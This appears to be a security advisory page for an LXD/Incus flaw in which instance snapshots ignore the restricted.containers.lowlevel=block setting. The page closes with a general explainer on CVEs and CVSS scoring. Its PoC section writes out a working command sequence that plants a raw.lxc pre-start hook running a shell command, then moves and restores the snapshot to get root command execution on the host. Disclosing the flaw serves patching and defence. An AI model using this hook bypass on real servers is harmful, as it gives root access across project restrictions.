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LXD has restricted project bypass leading to arbitrary command execution — github.com/canonical/lxd

Missing Authorization

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.
  • Published: Nov 6, 2026
  • Updated: Nov 7, 2026
  • GHSA: GHSA-47w9-6r3f-938g
  • Severity: Critical
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Critical
  • Score: 9.9
  • AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

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